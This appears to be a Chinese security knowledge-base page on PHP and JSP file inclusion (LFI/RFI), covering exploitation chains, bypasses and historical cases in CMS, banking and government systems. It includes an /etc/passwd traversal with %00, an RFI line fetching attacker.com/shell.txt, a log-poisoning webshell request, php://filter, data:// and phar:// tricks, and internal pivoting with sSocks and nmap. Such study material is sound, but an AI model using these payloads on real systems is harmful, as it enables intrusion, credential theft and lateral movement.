跳到主要内容

文件包含

文件包含漏洞利用的是 PHP 等语言的动态 include/require 机制:当包含的文件路径由用户输入控制时,攻击者可以包含任意本地文件(LFI)或远程 URL(RFI),使服务端以 Web 进程权限执行任意代码。 与注入漏洞不同,文件包含的执行路径绕过了应用层的逻辑,直接在解释器层面触发。

成立前提

应用使用 include()require()include_once() 等函数,且路径来自用户可控的 GET/POST 参数、Cookie 或 HTTP Header;服务端未对路径进行严格过滤。远程文件包含(RFI)还要求 PHP 配置项 allow_url_include=On(PHP 5.2 之后默认关闭)。

利用链路

本地文件包含(LFI)

用户参数直接拼接进 include 路径:

include('../modules/' . $_GET['m'] . '/lang/cn.php');
// 注入: ?m=../../../../etc/passwd%00
// 结果: include('../modules/../../../../etc/passwd') → 读取 passwd

%00 截断(PHP < 5.3.4):include 的路径如果拼接了固定后缀(如 .php),可用 NULL 字节截断后缀:

?skin=../../etc/passwd%00
// 实际路径: ../../etc/passwd(后面的 .php 被截断)

LFI 升级为代码执行:LFI 本身只能读文件,但配合以下场景可执行代码:

  • 包含日志文件(先向日志写入 <?php ... ?>,再包含 /var/log/apache2/access.log
  • 包含会话文件(向 Session 数据写入 payload,再包含 /tmp/sess_<sessionid>
  • phpinfo + 竞争条件:向含文件包含漏洞的站点提交包含 PHP 代码的 multipart/form-data 请求,PHP 生成临时文件;同时从 phpinfo 读取临时文件路径;在临时文件被删除之前通过 LFI 包含并执行。

远程文件包含(RFI)

allow_url_include=On 时,直接包含攻击者服务器上的 PHP 文件:

?m=http://attacker.com/shell.txt
// PHP 下载并执行 shell.txt 中的代码

register_globals 变量覆盖

PHP 4/5 早期版本开启 register_globals 时,GET/POST 参数自动变为全局变量,攻击者可直接覆盖 include 路径变量:

$template = 'default'; // 代码初始值
include('templates/' . $template . '.html');
// GET: ?template=../../etc/passwd%00
// $template 被 GET 参数覆盖

UC Server 后台文件包含

Discuz/PHPWind 使用 UC Server 组件,后台存在弱口令时登录后可通过特定接口包含任意本地文件,配合会话日志写入升级为 RCE,影响使用该组件的全部站点。

历史样本

PHP CMS 普遍存在:phpcms、phpok、ThinkSNS、PHPYUN、MallBuilder 等主流 PHP CMS 均有过文件包含漏洞记录,共同模式是 module/action/lang 等路由参数未做白名单校验直接传入 include

phpinfo + 竞争条件 Getshell:无文件上传功能的 LFI,配合 phpinfo 暴露的临时文件路径,通过竞争条件包含临时文件执行代码,是一种不依赖日志写入的 LFI Getshell 技术。

Cookie 注入文件路径:部分 CMS 从 Cookie 中读取皮肤/语言偏好并拼入 include 路径,直接在 Cookie 中注入 ../../etc/passwd%00.jpg 完成文件读取。

安全设备/VPN 设备:部分商用 VPN 设备的 Web 管理界面存在无需认证的文件包含漏洞,发送特定请求即可读取设备配置文件或执行代码,批量影响同型号设备。

Zimbra 邮件系统 skin 参数批量覆盖:Zimbra WebMail 的 skin 参数直接拼入包含路径,配合 %00 截断可读取 /etc/passwdlocalconfig.xml 等配置文件。由于大量政府、高校邮件服务均基于同一版本的 Zimbra 搭建,一个 payload 可横向覆盖数十个站点。

OA 系统 register_globals + GLOBALS 变量注入触发包含:通达 OA 等企业 OA 系统默认开启 register_globalsinclude_once($include_file) 中的 $include_file 可通过提交 GLOBALS[include_file]=../../shell 直接覆盖,无需任何认证即可包含任意本地文件。这是 register_globals 漏洞利用中危险程度最高的场景之一。

包含 Web 服务器日志 Getshell 完整链路:先向目标发送包含 PHP 代码的请求(如 GET /<?php system($_GET[c]);?>),使恶意代码写入 Nginx/Apache 访问日志(路径通常为 /var/log/nginx/access.log/usr/local/apache/logs/access_log);再通过已知的 LFI 点包含该日志文件触发执行。该链路在 IVS 监控客户端、门户 PHP 站等多类系统中均有记录。

JSP/Java 系统的文件包含变体(_viewReferer 参数跳转加载):部分使用 JSP 开发的网银、OA 系统存在类似 PHP 文件包含的设计:_viewReferer 参数用于指定错误跳转的 JSP 页面,攻击者覆写该参数可使服务端加载任意路径下的 JSP 文件,进而读取 WEB-INF/web.xml、配置文件等敏感资源,原理与 PHP LFI 相同,只是发生在 Java 容器层。

php://filter 读取 PHP 源码:LFI 点默认会执行所包含的 PHP 文件而非返回源码。通过 php://filter/convert.base64-encode/resource=config.php 协议封装,PHP 解释器先对文件内容做 base64 编码再输出,绕过执行直接暴露源码,可获取数据库连接字符串、UC_KEY 等敏感配置。该技术在 phpcms、ECMall 等有加密参数的 CMS 中尤为关键——拿到 $key 后可伪造加密令牌进一步扩大利用面。

PHP-FPM 端口对外暴露导致任意文件包含:PHP-FPM 默认监听 9000 端口,若该端口直接暴露到公网或可被 SSRF 访问,攻击者可通过伪造 FastCGI 请求指定 SCRIPT_FILENAME 为服务器上任意已存在的 PHP 文件,同时注入 PHP_VALUE 覆盖配置(如 auto_prepend_file),在不经过 Web 服务器鉴权的情况下直接触发代码执行。该场景在生产环境中出现于防火墙规则配置疏漏或内网穿透场景,危害范围取决于 FPM 进程权限。

MVC 框架模板渲染路径注入:ThinkPHP 等框架的 display()/fetch() 方法接受用户可控的模板名参数,框架在拼接完整路径时仅追加 .html/.php 后缀,攻击者可注入 ../../ 穿越至任意目录,并配合 %00 截断(PHP < 5.3.4)去掉后缀。多个基于 ThinkPHP 的 CMS(易酷 CMS、ThinkSNS)在控制器层直接将 GET 参数传入渲染函数,相当于把路由层的文件包含决策权完全交给用户。

JSP page 参数直接加载 WEB-INF 资源:部分使用 JSP 开发的图书检索、OA、基金系统存在 pagelink_page 参数,服务端将其拼入 RequestDispatcher.forward() 或直接 include,攻击者传入 /WEB-INF/web.xml/WEB-INF/classes/applicationContext.xml 即可读取部署描述符和 Spring 上下文配置,获取数据库连接串、JDBC 驱动类名等敏感信息。该类漏洞在高校图书管理系统、银行基金门户中均有记录,同型号系统可批量覆盖。

FreeMarker/Velocity 模板包含路径注入:Java 站点若将用户控制的路径作为 FreeMarker 或 Velocity 的模板文件名,模板引擎在解析时会加载对应文件并尝试按模板语法执行。当攻击者配合已有上传点将带模板指令的文件上传后,再通过模板路径参数包含该文件,可触发服务端模板注入;即使无上传功能,包含 WEB-INF/classes/applicationContext.xml 等配置文件也会因解析失败而在错误信息中泄露内部路径和 JDBC 配置。

邮件系统 Cookie language 参数路径穿越:MagicMail、TurboMail 等商用邮件系统通过 Cookie 中的 default_language 参数指定语言包路径,服务端将其拼接为 $basePath/lang/$language.cfg 后直接读取。攻击者将该 Cookie 设为 ../../../../../etc/magicmail.xml 等路径,可在无需任何认证的情况下读取邮件系统配置文件,获取管理员密码、数据库连接串及内网拓扑信息;由于该系统在运营商、政企邮局中部署广泛,单一 payload 可横向覆盖大量同型号站点。

phar:// 协议触发反序列化:PHP 在用 include/file_exists/fopen 等函数处理 phar:// 路径时,会自动解析 Phar 归档的 manifest 并执行其中的反序列化操作。攻击者只需能上传任意后缀文件(图片、zip 均可),再通过 LFI 点以 phar://upload/avatar.jpg 的形式触发,即可在无 unserialize() 调用的代码路径上执行任意对象链。该技术绕过了"上传点与包含点分离"的传统防御假设。

Session 上传进度写入 payload 配合 LFI:PHP 5.4 引入的 session.upload_progress 功能会在文件上传期间将上传元数据(包含用户可控的 PHP_SESSION_UPLOAD_PROGRESS 字段)写入 Session 文件。攻击者无需任何应用层写入接口,只需构造一个携带 PHP 代码的 multipart 上传请求,Session 文件即被污染;再通过已知 LFI 点包含 /tmp/sess_<sessionid> 即可执行代码。由于 Session 文件会在请求结束后清理,同样需要竞争条件配合。

利用 pearcmd.php 实现无文件 RCE(Docker PHP 环境):官方 PHP Docker 镜像默认安装了 PEAR 工具链,/usr/local/lib/php/pearcmd.php 始终存在于磁盘。该脚本直接解析 $_SERVER['argv'],而在某些 CGI/FPM 配置下 URL 查询字符串会被映射为 argv。攻击者通过 LFI 包含此文件并在 query string 中传入 config-create 命令,可将任意内容写入任意路径,实现从文件读取到写 Webshell 的跨越,全程无需上传功能。

CodeIgniter _ci_load 视图名路径穿越:CI 框架的 $this->load->view() 内部调用 _ci_load,将用户传入的视图名直接拼接为文件路径后用 include 加载,未做白名单校验。当控制器将 GET/POST 参数透传给 load->view() 时,攻击者可注入 ../../config/database 等路径穿越字符串读取框架配置文件;若配合已上传的图片马,可直接触发代码执行。该模式在多个基于 CI 的企业应用中均有记录。

extract($_POST) 导致包含路径变量覆盖:部分 PHP 应用在初始化阶段调用 extract($_POST, EXTR_OVERWRITE) 将请求参数批量导入当前作用域,随后的 include($controller)require($template) 直接使用这些变量。攻击者在 POST 中提交与包含路径变量同名的参数(如 controller=../../shell)即可覆盖路径,无需任何认证。与 register_globals 的区别在于这是开发者主动调用的函数,在 PHP 5.4 关闭 register_globals 之后仍持续出现于遗留代码中。

LFI 触发多条利用链:文件包含不只用于读取静态文件——当包含目标是含有业务逻辑的 PHP 文件时,执行该文件可附带触发权限绕过或数据操作等副作用,单一包含点可同时开启多条不同方向的利用链。

前台路由参数控制模板路径:部分 CMS 在前台路由层直接将请求参数拼入模板包含路径,无需后台权限即可触发文件包含;当站点已有可控写入点或特定版本存在已知文件时,可直接从前台 getshell。

第三方插件引入系统性文件包含:主流 CMS 平台的第三方插件若未对路由参数做白名单校验即传入包含函数,其攻击面会随插件装机量线性扩大,单一漏洞可批量覆盖所有安装该插件的站点。

同一站点多个独立包含点:当一个系统在多个不同功能模块中均存在文件包含漏洞,说明代码库里 include 路径来自用户输入是整体设计问题,而非偶发的单点疏漏,修复时需全面审查而非单点修补。

高价值政务系统 LFI:税务、政务类系统通常集中存储大量敏感财务及公民信息,文件包含漏洞一旦被利用,危害面远超同等技术水平的商业 CMS,且此类系统因合规审批流程导致补丁周期普遍偏长。

网银系统路径穿越读取系统文件:银行网银系统存在 LFI 时,通过路径穿越可读取 /etc/passwd 等系统文件;网银系统因严格的变更管控要求,补丁从发现到上线的周期往往远长于普通 Web 应用。

接口参数拼接路径配合 %00 截断读取 /etc/shadow:Web 接口的查询参数直接拼入文件路径,配合 %00 截断去掉固定后缀后,可读取 /etc/shadow 并获取有效的 root 密码哈希,将文件读取漏洞直接转化为可用的系统凭据。

JSP 系统 Windows 路径文件读取:Java/JSP 系统中请求参数直接作为文件路径传入包含逻辑时,传入 Windows 格式路径(如 c://boot.ini)即可读取系统文件;Java 平台的此类包含变体因语言差异常被忽视,实际危害与 PHP LFI 相当。

file_put_contents 可控路径直写 Webshell:当用户可控参数同时控制 file_put_contents 的写入路径和写入内容时,攻击者可将任意代码写入任意路径,是文件包含的升级形态——跳过了"先写入、再包含"两步,直接完成 Getshell,危害等级高于普通 LFI。

公共基础设施 LFI 修复周期被业务连续性拖延:交通支付、水电等公共基础设施平台的 LFI 漏洞因业务不可中断要求,变更窗口极为有限,补丁从确认到实际部署的周期往往被拖延数月,漏洞窗口期显著长于普通互联网应用。

zip 压缩包上传配合路径 %00 截断包含:当站点无法直接上传 PHP 文件但允许上传 zip 时,将含 PHP 代码的文件打包上传,再通过 LFI 点以绝对路径配合 %00 截断(去掉固定后缀)直接包含 zip 内文件,PHP 解释器会执行其中的代码。该技术在无直接上传入口的政务、教育类系统中均有记录。

Glassfish %c0%ae 编码路径穿越读取任意文件:GlassFish 的 theme 资源接口在处理路径时未对 UTF-8 超长编码(%c0%ae 表示 .)做规范化,攻击者以多段 %c0%ae%c0%ae/ 替代 ../ 即可穿越至任意目录读取服务器文件(如数据库配置、密钥文件)。由于 GlassFish 常作为 Java EE 应用服务器广泛部署,单一 payload 可批量覆盖同版本实例。

高版本 PHP 长字符截断代替 %00:PHP 5.3.4 修复了 %00 截断后,在 Windows 系统上可利用 .// 的大量重复拼接(长字符路径截断)去掉 include 末尾追加的固定后缀,效果等同于旧版的 NULL 字节截断,且无需依赖 PHP 版本漏洞,仍可实现任意文件包含。

$do/$op 路由参数直接进入 include 并支持两种截断:部分 PHP 系统将 GET 参数 $do$op 拼接为模块路径后直接调用 include,未做任何白名单校验;低版本 PHP 可用 %00 截断后缀,高版本可用长字符截断,两种路径均可 Getshell,说明该类漏洞的利用面不受 PHP 版本限制。

ThinkSNS 等框架 GET 参数全量写入模板变量触发包含:部分基于 ThinkPHP/ThinkSNS 的系统在控制器层将整个 $_GET 数组通过 assign() 批量写入模板变量,而模板渲染逻辑在解析特定变量时会触发 include;攻击者在 GET 中注入与模板包含变量同名的键即可控制被包含文件路径,整个攻击路径跨越控制器和模板两层,代码审计时容易遗漏。

工控/监控设备 Web 控制台 controller 参数 + Nginx 日志包含:嵌入式监控设备(如安防 NVR/IPC 管理平台)的 Web 控制台基于小众 PHP 框架开发,controller 参数直接拼入 include 路径;攻击者先构造包含 PHP 代码的恶意 HTTP 请求使其写入 Nginx 错误日志,再通过 controller 参数包含该日志文件触发执行。此类设备因部署于内网且版本长期不更新,批量暴露于公网时可快速横向覆盖。

CSRF 触发后台文件包含:部分 CMS 后台的文件包含接口仅依赖登录态校验,攻击者无需直接获取后台权限,而是通过构造 CSRF 页面诱导已登录管理员触发包含请求,将社工攻击链与文件包含漏洞串联。该模式在 Discuz、CMSEasy 等带后台包含功能的 CMS 中均有记录。

远程文件包含 + 反弹 Shell 绕过出站限制:当目标服务器出站 HTTP 受限时,直接以 http:// 包含远程文件的 RFI 可能失败;攻击者改用在包含的远程脚本中执行反弹 TCP/UDP shell,仅需目标对外建立出站连接(常见端口如 443),可绕过部分出站过滤策略,将 RFI 转化为持久化立足点。

Discuz 论坛插件 action 参数前台 Getshell:第三方积分商城等插件未对 action 参数做白名单校验,直接拼入 include 路径;攻击者先在前台上传含 PHP 代码的图片马,再通过插件入口配合 %00 截断包含该图片文件触发执行,全程无需后台权限。由于 Discuz 插件生态装机量大,单一漏洞可横向覆盖所有安装该插件的站点。

后台表单数据落库后经 include 读取执行:部分 CMS 将模板路径或功能配置存入数据库,include 直接读取该字段值构造路径并执行。攻击者利用后台自定义表单功能将恶意路径写入对应数据库字段,随后触发包含逻辑即可 Getshell;该模式将注入面从请求参数转移到了数据持久层,代码审计时容易遗漏。

EXTR_OVERWRITE 覆盖 $templateCacheFile 触发任意文件包含:ThinkSNS 等框架在模板渲染前用 extract($tVar, EXTR_OVERWRITE) 将模板变量展开到当前作用域,随后直接 include $templateCacheFile;只要模板变量数组中存在与 $templateCacheFile 同名的键,攻击者就能通过可控的 GET/POST 参数覆盖该变量。两种利用路径均可绕过:直接包含已上传的图片马,或通过 data:// 协议内联 PHP 代码。

ECMall 支付模块 $code 参数路径拼接 + %00 截断:ECMall 的支付模块将前台传入的 $code 参数拼接为 payment/$code/submit.phpinclude$codeaddslashes 处理,但 %00 不受 GPC 转义影响,存入数据库后二次使用时仍为 NULL 字节,可截断掉末尾 submit.php,实现任意文件包含。该漏洞利用需注册账号并开通店铺,属于需一定前置条件的包含变体。

政务/监察系统 JSP 通用包含通杀多省:部分政务系统基于相同 JSP 框架构建,存在公共模板参数直接拼入 RequestDispatcher.forward() 的设计;由于全国多个省级站点使用同一套代码部署,单一 payload 可通过 Google 语法批量定位并利用,属于通用型文件包含漏洞的高危放大场景。

Cookie language 参数 + 长字符 ./ 截断替代 %00:旅游类 CMS 系统通过 Cookie 中的 language 参数指定语言包路径,服务端拼接后缀后 include;在 PHP %00 截断已被修复的高版本环境下,攻击者在路径末尾追加大量 ././././ 重复字符,利用操作系统路径长度限制截断末尾固定后缀,实现路径穿越读取 /etc/passwd 等系统文件,与 %00 截断的效果等价。

Cookie Skin_Template URL 编码路径穿越 + %00 截断:部分企业站点(在线客服、烟草集团等)从 Cookie 的皮肤参数读取模板路径,服务端仅过滤明文 ../ 而未解码处理;攻击者将路径穿越字符 URL 编码为 ..%2F,配合 %00.jpg 截断固定后缀,在无需任何认证的情况下读取 /etc/passwd,这是仅过滤明文字符串而忽视编码变形的典型漏洞。

JSP 接口 docIconPath 参数直接读取 Windows 系统文件:部分 Java/JSP 系统存在将请求参数作为文件路径直接传入读取逻辑的接口,在 Windows 服务器上传入 C:\WINDOWS\system32\drivers\etc\hosts 格式的绝对路径即可读取系统文件;该变体因平台差异常被忽视,实际危害与 Linux 下的 LFI 相当。

module GET 参数进入 require()htmlspecialchars 不阻止路径穿越:部分餐饮、小型商业 CMS 的 admin.phpmodule 参数只做 htmlspecialchars 过滤后直接拼入 require()htmlspecialchars 仅转义 HTML 特殊字符,不影响 ../%00 等路径穿越字符,攻击者可直接注入任意相对路径,这是误用安全函数导致防御失效的典型案例。

ThinkPHP id 参数透传 display() + 日志写 payload 配合包含:部分基于 ThinkPHP 的影视 CMS 将 GET 参数 id 直接传入 display() 决定渲染哪个模板文件,当日志包含链路可用时,攻击者先发送带 PHP 代码的请求污染访问日志,再通过 id 参数指向日志文件路径触发执行;该链路将"路由参数控制模板"与"日志污染"两种技术结合,是 LFI 升级 RCE 的经典组合。

Java 应用文件路径参数 base64 编码绕过路径黑名单:部分 Java/JSP 系统的文件下载或读取接口接受 base64 编码的文件路径参数,服务端解码后直接读取文件;明文路径黑名单(如拦截 ../)在 base64 编码后完全失效,攻击者可编码任意路径读取 /etc/passwdWEB-INF/web.xml.bash_history 等敏感文件,防御需在解码后再做路径校验。

PHPOK CSRF + 数据库中间层 + GPC 不影响 %00 的二次利用:PHPOK 的支付模块 include 路径来源于数据库字段;后台管理接口将 code 参数经 addslashes 后存入 DB,攻击者构造 CSRF 页面诱导管理员触发存储请求;%00addslashes 转义为 \0 后存入 DB,但从 DB 取出时恢复为 %00,绕过 GPC 保护实现截断,将 CSRF 与数据库中间层的二次编码特性串联为完整 Getshell 链路。

LFI 包含后台定时任务文件触发代码写入:骑士 CMS 等系统的后台定时任务管理功能允许上传脚本文件并通过 require_once 执行;攻击者在上传的文件内嵌入 file_put_contents 写 Webshell 的代码,再触发任务执行,借助 CMS 自身的定时任务机制完成从文件写入到代码执行的完整链路,无需独立的 LFI 入口。

phpinfo 竞争条件 Getshell 在 Windows 下需额外满足同盘符条件:phpinfo + 竞争条件 LFI 在 Linux 下利用临时文件路径固定(/tmp/phpXXXXXX);在 Windows 下,PHP 临时文件路径随盘符变化,只有 Web 目录与 TEMP 目录在同一盘符时才可通过绝对路径包含;该平台差异使得同一漏洞在 Windows 服务器上的可利用性显著降低,但当条件满足时危害等同。

Discuz 后台专有文件包含接口:Discuz 3.x 后台存在专为模板/语言包加载设计的包含接口,在后台弱口令或 CSRF 攻击成功后,通过该接口可直接包含任意本地文件或已上传的图片马,绕过前台权限检查,完成后台 Getshell。由于 Discuz 装机量极大,该接口的存在使后台任一入口的沦陷直接等价于 RCE。

前台投稿数据库落地后触发包含:CMSEasy 等支持前台内容投稿的 CMS 允许用户在发布文章时附带模板路径字段,该字段经 SQL 写入数据库后,在文章列表渲染或审核通过时被 out() 函数取出拼入 include 路径;攻击者利用前台测试账号投稿、植入恶意路径,等待后台审核通过即可触发包含,整条利用链跨越前台写入、数据库持久化和后台触发三个阶段,代码审计时极易遗漏。此外,Web 应用防火墙(安全狗等)通常不对图片文件的包含和执行做拦截,上传图片马再通过此类链路包含的模式可绕过防护设备。

DedeCMS 远程文件包含:织梦 DedeCMS 在特定模块中存在 allow_url_include 可利用的远程文件包含漏洞,攻击者无需上传任何文件,直接在参数中传入远程 URL 即可触发代码执行。由于 DedeCMS 在政府、学校、媒体类站点中部署广泛,该漏洞的波及范围远超同类 PHP CMS。

JSP %3f 问号截断替代 %00:部分银行、政务 JSP 系统的文件包含逻辑在 Java 层拼接路径时对 ? 字符的处理与 PHP 的 NULL 字节截断等效——服务端将 %3f 解码为 ? 后,路径解析终止于问号之前,后续固定后缀被截断;与 PHP 的 %00 截断不同,该技术不依赖 PHP 版本,适用于 Java 容器环境,对仅过滤 %00 的防护逻辑完全透明。

Web Service 框架(Axis2)xsd 参数路径遍历:部分运营商、大型企业将 Axis2 作为 Web Service 容器对外暴露,其 ?xsd= 参数接受相对路径作为 Schema 文件名,服务端拼接后直接读取文件;攻击者传入 ../conf/axis2.xml 等路径可读取包含管理员账密的服务配置文件,进而登录 Axis2 管理后台部署恶意服务实现 RCE,整条链路从文件读取升级为代码执行。

LFI Getshell 后的内网横向延伸:文件包含漏洞完成 Getshell 仅是攻击链的起点。以 phpinfo + 竞争条件为代表的无上传入口 LFI 技术获取 Shell 后,攻击者通常配合内核提权、代理隧道工具(如 sSocks)和端口扫描,将单点突破扩展为内网横向渗透;由于企业内网防火墙普遍只管控南北向流量而忽略东西向,初始 LFI 的危害边界往往远超漏洞本身所在的系统。

CMSEasy t=wap 参数触发 $template 数据库包含:CMSEasy 的文章展示接口通过 t=wap 参数切换至 WAP 模板,$template 变量来自数据库 archive 表的 showtemplatewap 字段;当攻击者在前台通过投稿或 SQL 注入将该字段覆盖为恶意路径后,访问对应文章的 WAP 视图即可触发 out() 包含,整个过程无需后台权限,且包含目标不限于站点目录内文件。

Axis2/Web Service xsd 参数与管理接口组合利用:已在独立条目中覆盖;此处补充一类通用模式——当 Java 应用暴露 Web Service 管理控制台(Axis2、JBoss、WebLogic)且存在路径遍历或未授权访问时,读取配置文件获取管理凭证后可部署恶意 WAR 包或 AAR 服务,将文件读取单步升级为持久化 RCE,危害等级高于 PHP 文件包含。

Widget/插件层 renderFile 多入口前台 Getshell:ThinkSNS 等框架的 Widget 插件层将 $_GET 全量合并后传入 renderFile,最终落入含 EXTR_OVERWRITEfetch 函数;框架中存在多个独立 Widget 入口(举报弹框、评论加载、部门切换、Feed 列表等),每个入口均可触发同一条变量覆盖链,攻击面随插件数量线性扩大。代码审计时单点修复后,其余 Widget 入口仍可利用,需全量审查所有调用 renderFile 的入口。

data:// 内联代码执行绕过"需已存在文件"的限制:LFI 利用通常依赖目标磁盘上已存在的可包含文件(日志、Session、图片马等)。当 PHP 配置开启 allow_url_include 时,可通过 data://text/plain;base64,<base64编码的PHP代码> 将代码内联在请求参数中直接传递给 include,完全绕过"需要先向磁盘写入 payload"的前置条件。该技术在 ThinkSNS 等框架的变量覆盖场景中有实际利用记录,是无上传入口时 LFI 升级 RCE 的备选路径。

同一供应商框架通杀多家金融机构:科蓝等金融软件厂商向多家银行提供相同的网银系统底层框架,框架级别的文件包含漏洞(如 _viewReferer 参数路径穿越)在发现后可直接横向覆盖所有使用同一版本框架的银行站点。与通用 CMS 的批量覆盖不同,金融机构站点因合规要求变更审批周期极长,同一漏洞在多家机构同时处于窗口期的概率更高。

phpinfo 暴露物理路径辅助 LFI 精确定位:LFI 在不知道服务器文件系统绝对路径时,需要盲猜日志文件、Session 文件等的位置。若站点存在 phpinfo 暴露,可从中直接读取 DOCUMENT_ROOTsession.save_pathupload_tmp_dir 等关键路径,将盲猜转化为精确包含。该辅助信息获取步骤在大智慧等金融类站点的 LFI 利用链中均有记录,phpinfo 本身虽不直接危险,但与 LFI 点并存时会显著降低利用门槛。

iconv 宽字节编码转换引入特殊字符辅助注入:PHP 应用在 GBK/GB2312 数据库编码场景下调用 iconv("utf-8", "gbk", $input) 进行编码转换时,转换过程可能引入额外字节,使原本被 addslashes 转义的反斜杠与后续字节组合为合法的 GBK 双字节字符,从而吞掉转义符;结合路径拼接场景,可在经 GPC 保护的环境中间接实现路径注入,该技术在骑士 CMS 等支持多字节编码的 PHP CMS 中均有利用记录。

open_basedir 限制致 LFI 无法穿越站点目录:LFI 漏洞存在但 PHP 配置了 open_basedir 时,include 路径被限定在特定目录树内,../ 穿越到 Web 目录之外的尝试将直接失败;攻击者只能包含站点目录内的文件,若目录内无可利用的可写文件,则 LFI 降级为只读信息泄露而无法升级为 RCE。此类"有洞无法 Getshell"的案例提示防御者:open_basedir 配置是将 LFI 危害等级从 RCE 压制到信息泄露的有效单点控制。

phpcms 等 CMS 补丁未及时更新导致已知 LFI 持续可用:phpcms、DedeCMS 等主流 CMS 的文件包含漏洞在厂商发布补丁后,大量运营者因缺乏主动升级机制而长期运行存在漏洞的旧版本;攻击者无需发现新漏洞,直接使用已公开 PoC 即可批量利用,新华网子站等高知名度站点均有因版本未更新而遭利用的记录。CMS 生态中漏洞的实际危害窗口远长于官方修复公告所呈现的时间。

大型互联网平台 LFI 与源码泄露并发:部分互联网平台在存在本地文件包含漏洞的同时,还伴随着 php://filter 可读取源码的路径;通过先读源码定位二次利用点,再结合 LFI 包含日志写入的链路,可将单一低危 LFI 扩展为完整 RCE 链路。此类"LFI + 源码泄露"并发的案例在大型媒体、视频平台均有记录,说明 LFI 的实际危害需结合站点其他信息泄露面综合评估,而非孤立计算单一漏洞价值。

XXE 注入作为文件读取的独立变体:部分系统通过 POST 请求体接收 XML 数据,服务端解析时未禁用外部实体,攻击者在请求体中注入 XML 外部实体声明即可让服务端读取任意本地文件并将内容回显于响应中。与 PHP LFI 相比,该路径完全绕过文件包含函数层面的校验,防御需在 XML 解析器层面显式禁用外部实体(LIBXML_NOENT 等),而非在应用路由层过滤路径穿越字符;在地图、导航等依赖 XML 数据交换的移动端接口中均有记录。

XSS 劫持管理员 Cookie 进而利用后台文件包含 Getshell:攻击者先在前台功能中注入存储型 XSS,待管理员访问后台触发时窃取其 Session Cookie;随后以管理员身份登录后台,利用后台模板编辑或文件包含功能直接写入 Webshell。整条链路横跨 XSS 与文件包含两类漏洞,绕过了"前台无权限触发后台包含"的单点限制,任何存在存储 XSS 与后台包含功能的 CMS 均可能受此组合攻击影响。

GlassFish 文件读取逐级延伸进入内网:GlassFish 管理端口的 %c0%ae 编码路径穿越漏洞可读取任意文件,攻击者通常不止步于读取 passwd,而是先枚举配置文件获取邮件账号,再用获取的凭证登录邮件服务器读取内部通讯;邮件中包含多台服务器的登录凭证和内网拓扑,进而横向渗透覆盖多个下游企业。该模式的核心是"文件读取 → 凭证获取 → 账号登录 → 信息扩展"的逐级延伸,单一文件读取漏洞的最终危害取决于攻击者的延伸深度。

影视 CMS GET 参数经多层 MVC 调用最终落入 include:部分基于 ThinkPHP 开发的影视 CMS 将 GET 参数 id 传入控制器,控制器调用 display(),框架内部经 fetch()load() 逐层转发后最终在模板类中以 include $templateCacheFile 执行;攻击者若不追踪完整调用链,仅看控制器层代码不会察觉路径可控。配合日志污染链路,在 GET 请求写入 PHP 代码到访问日志后,通过 id 参数指向日志文件即可 Getshell。此类"参数跨多层调用落入 include"的设计在多个小众 PHP 框架衍生 CMS 中均有重复出现。

被发现漏洞时目标系统已存在第三方后门:文件包含漏洞报告中有一类特殊场景:研究者在验证 LFI 可利用性时,发现服务器上已存在与本次测试无关的 Webshell 或已知工具痕迹,说明该站在此之前已被其他攻击者利用。这类"漏洞上漏洞"的情况提示:漏洞的实际危害窗口往往比官方记录的时间更早,对高价值目标的文件包含漏洞修复优先级应与"是否已被利用"的排查同步进行,而非等待修复后再做入侵检测。

框架层 require_once 执行上传文件触发任意代码写入:骑士 CMS 等系统后台的定时任务执行入口调用 require_once 直接执行上传的任务文件;攻击者将内嵌 file_put_contents 写 Webshell 逻辑的 PHP 代码伪装为任务脚本上传,再触发定时任务执行,借助 CMS 自身的任务调度机制完成从文件落盘到代码执行的完整链路,无需独立的 LFI 入口,且上传文件扩展名由系统自身决定,绕过了针对 .php 扩展名的上传过滤。

phpinfo + 竞争条件 LFI 的 Java 实现:竞争条件 Getshell 的成败取决于包含临时文件与删除操作之间的时间窗口。实践中以 Java 编写利用程序(执行效率仅次于 C),同时提交携带大量填充数据的 multipart 请求使临时文件尽量大、延长删除耗时,并以多线程并发轮询 LFI 接口;两侧协同使竞争成功率显著高于单线程 Python 脚本。Linux 环境下临时文件路径格式固定可从 phpinfo 直接读取,Windows 下需额外确认 Web 目录与 TEMP 目录同盘符,否则绝对路径包含不可达。

LFI 无法包含日志时降级为 php://filter 源码泄露:当 LFI 点存在但服务器日志路径未知或日志文件不可读时,RCE 链路断裂;此时以 php://filter/convert.base64-encode/resource= 为退路,仍可读取应用源码、配置文件和密钥,将"无法 Getshell"的 LFI 转化为高价值信息泄露。大型媒体、视频平台均有此类"LFI 止步于源码读取"的记录,说明即便不能执行代码,LFI 仍具备独立的漏洞价值,修复优先级不应因无法 Getshell 而降低。

后台模板编辑器直写 Webshell(绕过文件包含函数):部分 CMS 在后台提供模板源码编辑功能,保存时直接将内容写入模板文件。攻击者通过 XSS 或弱口令获取管理员会话后,在模板编辑器中插入 PHP 代码并保存,访问对应模板页面即触发执行,整条路径不经过任何 include/require 函数。这一模式绕过了针对文件包含函数的审计和防护,但本质是相同的"用户可控内容最终被 PHP 解释器执行"设计缺陷,旅游类 CMS 和论坛系统中均有此类记录。

JBoss 管理控制台未授权访问 + WAR 包部署 Getshell:JBoss 管理控制台若对外暴露且无认证保护,攻击者可直接通过控制台界面上传并部署恶意 WAR 包,WAR 内的 JSP 文件在部署后即可通过 HTTP 访问触发执行。与 Axis2 xsd 参数路径遍历不同,此路径无需文件读取作为前置步骤,直接从管理接口暴露升级为 RCE;JBoss、WebLogic 等 Java EE 应用服务器的管理端口若缺乏网络访问控制,危害等同于将代码部署权限完全开放给攻击者。

DS_Store 文件泄露辅助 LFI 物理路径定位:Web 服务器上遗留的 .DS_Store 文件会暴露 Mac 开发环境下生成的目录结构,攻击者可据此枚举文件名和相对路径;当站点同时存在 LFI 点时,从 .DS_Store 获取的路径信息直接消除了盲猜日志文件或配置文件位置的不确定性,LFI 的可利用性因此显著提升。该信息泄露单独看危害有限,但与 LFI 并存时形成协同放大效果。

IDS/防火墙限制下 sSocks 内网穿透:LFI Getshell 后若 reGeorg、Tunna、reDuh 等常见内网代理工具触发 IDS 告警或被出站策略拦截,Metasploit 会话也时常掉线;实践中改用 sSocks 反弹 Socks5 代理,配合内核提权获取高权限后,在 IDS 检测规则覆盖薄弱的东西向流量中稳定建立隧道,再以 proxychains4 + nmap 进行内网探测。内网段通常仅管控南北向边界,东西向几乎不设访问控制,单一 LFI Getshell 往往是攻击者横向扩展至整个网段的起点。

绕过方式

绕过类别手法
%00 截断PHP < 5.3.4,截断拼接的固定后缀
路径穿越../....//(删除 ../ 后还原)
